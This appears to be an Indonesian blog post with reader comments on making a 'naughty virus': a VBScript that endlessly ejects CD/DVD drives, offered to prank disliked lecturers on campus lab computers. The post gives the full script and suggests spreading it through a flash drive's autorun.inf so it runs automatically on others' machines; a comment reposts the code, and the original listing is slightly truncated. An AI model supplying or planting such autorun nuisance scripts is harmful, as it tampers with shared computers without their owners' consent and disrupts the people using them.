subscribe: Posts | Comments | Email

Cara membuat Virus Nakal

6 comments

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karen diblokir sama admin labkom, yah iseng2 buatin scripts .vbs.

Caranya: Buka notepad dan masukkan code berikut,

Set ilikepies = CreateObject(“WMPlayer.OCX.7″)
Set ilikepie = ilikepies.cdromCollection
if ilikepie.Count >=1 then
do
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ‘ cdrom
For ilikepiesalot=0 to ilikepie.COunt -1
ilikepie.Item(ilikepiesalot).Eject
Next ‘ cdrom
loop
End I

Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.

computer-virus

Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.

Similar Posts:

Popularity: 21% [?]

  1. heheheheh…… keren

  2. Set ilikepies = CreateObject(“WMPlayer.OCX.7″)
    Set ilikepie = ilikepies.cdromCollection
    if ilikepie.Count >=1 then
    do
    For ilikepiesalot=0 to ilikepie.COunt -1
    ilikepie.Item(ilikepiesalot).Eject
    Next’cdrom
    For ilikepiesalot=0 to ilikepie.COunt -1
    ilikepie.Item(ilikepiesalot).Eject
    Next’cdrom
    loop
    End if

  3. oya maksud ekstensi vbs tu apa sih bro tlong di jelasin y

    Ekstensi vbs contoh filenya, gue.vbs, elo.vbs. kalo ekstensi exe yah spt. file.exe, gue.exe, elo.exe, dll

  4. boss,tapi itu file ngk langsung,buat run nya ya,soal nya mau coba di kom sendiri…hihihihih
    kasih waktu nanti kan di kira setan…..hahahahah
    bagus….asik

  5. GAK bisa BozZ…
    scriptna ERROR TUH….
    Tolong kirim ke email saya y..script yg bnrnya..ok

Leave a Reply